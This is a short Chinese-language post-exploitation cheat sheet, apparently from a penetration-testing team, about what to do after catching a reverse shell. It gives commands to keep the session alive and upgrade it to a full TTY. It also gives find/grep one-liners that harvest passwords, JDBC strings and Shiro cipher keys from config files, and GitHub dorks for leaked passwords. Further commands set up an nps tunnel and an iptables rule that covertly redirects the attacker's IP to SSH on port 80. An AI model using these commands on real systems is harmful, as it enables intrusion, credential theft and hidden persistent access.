本文由团队大佬Cedr0ic总结编写
01
姿势⼀-反弹shell后如何保持会话不断
⼀般弹回来⼀个shell后我们⾸先要确保shell不能掉,这⾥可以借⽤screen来保存会话
screen
screen -ls
Screen -r 会话id
02
姿势⼆-如何将反弹shell⽣成交互式的shell
⼀般反弹回来的shell有很多缺陷
1.⼀些命令,⽐如“su”和“ssh”需要适当的终端才能运⾏
2.标准错误信息(STDERR)经常不会被显示出来
3.不能正确使⽤⽂本编辑器如VIM
4.没有命令补全功能
5.“上”按键没有历史纪录功能
6.没有任务管理功能
7. Ctrl-C 会断
因此这⾥需要⽣成⼀个交互式shell以下⼏⾏命令可以完成操作。
python -c 'import pty; pty.spawn("/bin/bash")' //⽣成py半交互式shell ctrl+Z
stty raw -echo fg
reset
export SHELL=bash
export TERM=xterm256-color stty rows 38 columns 116
新的交互式shell
03
姿势三-如何快速信息收集获取服务器⼝令
⼀、⼝令获取
获得目标主机的权限后,通过查看网站的配置文件,获得口令信息
常⽤密码⽂件收集整理
find / -name *.properties 2>/dev/null | grep WEB-INF
find / -name "*.properties" | xargs egrep -i "user|pass|pwd|uname|login|db_" find / -regex ".*\.properties\|.*\.conf\|.*\.config" | xargs grep -E "=jdbc:|pass="
find /webapp -regex ".*\.properties" -print 2>/dev/null | xargs grep -E "=jdbc:|rsync"
find / -regex ".*\.properties" -print 2>/dev/null
find / -regex ".*\.properties\|.*\.conf\|.*\.config\|.*\.sh" | xargs grep -E "=jdbc:|pass=|passwd="
grep -r 'setCipherKey(Base64.decode(' /web路径
find / -regex ".*\.xml\|.*\.properties\|.*\.conf\|.*\.config\|.*\.jsp" | xargs grep -E "setCipherKey"
⼆、github 搜密码技巧
xxx.com filename:properties
04
姿势四-隧道代理技术绕过⼤部分杀软
服务器出⽹:https://github.com/ehang-io/nps(安装使⽤⽅法这⾥省略)
⽀持多种协议代理⽅式
服务器不出⽹:使⽤端⼝复⽤技巧
iptables -t nat -I PREROUTING 1 -p tcp -s 攻击者的IP --dport 80 -j DNAT -- to-destination 靶机的IP:22
配置完成后,攻击者的IP连接靶机的80端⼝,可登录靶机的SSH服务;其它机器可正常访问靶机的HTTP服务;
攻击者的IP没法访问靶机的HTTP服务。
05
姿势五-使⽤脚本对内⽹常⻅服务进⾏快速扫描
扫描⼯具:只需要python环境不需要其他库
https://github.com/PINGXcpost/F-NAScan-PLUS
对F-NAScan-PLUS扫描报告中单个服务进⾏提取
https://github.com/soxfmr/F-NAScan-Export